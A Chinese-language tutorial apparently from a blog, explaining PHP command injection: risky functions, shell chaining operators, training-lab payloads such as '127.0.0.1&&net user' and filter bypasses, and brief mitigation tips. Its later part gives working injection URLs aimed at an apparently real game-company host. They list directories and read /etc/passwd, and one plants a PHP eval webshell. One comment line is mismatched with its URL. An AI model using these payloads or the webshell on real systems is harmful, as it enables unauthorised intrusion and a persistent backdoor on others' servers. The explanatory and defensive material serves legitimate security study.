赞
踩
PHP:system、exec、shell_exec、passthru、popen、proc_popen等称为高危漏洞。
原理:只要程序可以调用系统命令的情况下都可以发生命令执行漏洞。
开发人员没有对特殊函数入口做过滤,导致用户可以提交恶意代码并提交服务端执行。
Web服务器没有过滤危险函数导致命令执行漏洞攻击成功。
system(args) 有回显
passthru(args)(有回显)
exec(args) (回显最后一行-必须echo输出)
shell_exec(args) (无回显-必须输出)
反引号:``
popen(handle,mode)(无回显)
proc_open(‘cmd’,‘flag’,‘flag’)(无回显)
$process = proc_open(‘dir’,$des,$pipes);
echo stream_get_contents($pipes[1]);
在windows和linux都支持,如果程序没有进行过滤,那么我们可以通过连接符来执行多条命令。
command1 && command2 先执行Command 1,执行成功后执行Command 2,否则不执行Command 2
command1 | command2 只执行command2
||、如果前面执行的语句执行出错,则执行后面的语句,前面的语句只能为假。例如:ping2!!whoami
command1 & command2 先执行Command 1,不管是否成功,都会执行Command 2
源码:
strustr:搜索字符串在另一字符串中的第一次出现,返回字符串的剩余部分。
php_uname:返回运行PHP操作系统的相关描述。s:返回操作系统名称。n:返回主机名。r:返回版本名。
服务器通过判断操作系统执行不同ping命令,但是对ip参数并未做任何的过滤,导致了严重的命令注入漏洞。
由于windows和linux都可以用&&来执行多条命令,所以可以构造payload:127.0.0.1&&net user
中等级使用的是str_replace把‘&&’,‘;’替换为空字符串,所以可以构造payload:127.0.0.1 &;&whoami。
相比于前面两个等级的,高等级完善了黑名单,但是由于黑名单的局限性,我们可以看出来他只是过滤掉了“| ”,如果|后不跟空格则可以绕过过滤。可以构造payload:127.0.0.1|dir
读取当前目录文件:
http://ztsj.ztgame.com/stat.php?url=%27%26ls+%26%27 #url=’&ls&’
查看etc目录:
http://ztsj.ztgame.com/stat.php?url=%27%26ls+/etc+%26%27 #url='&ls /etc &'
读取系统密码:
http://ztsj.ztgame.com/stat.php?url=%27%26cat+/etc/passwd+%26%27 # url='&echo "<?php @eval(\$_POST['value']);?>" >> php.php &'
写入一句话木马:
http://ztsj.ztgame.com/stat.php?url=%27%26echo+"<?php @eval(\$_POST['value']);?>"+>>+php.php+%26%27
#url='&echo "<?php @eval(\$_POST['value']);?>" >> php.php &'
• 能使用脚本解决的工作,不要调用其他程序处理,尽量少用执行命令的函数,并在disabl_functions中禁用。
• 在进入命令执行的函数或方法之前,对参数进行过滤。
• 参数的值尽量使用引号包裹,并在拼接前调用addslashes进行转义。
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。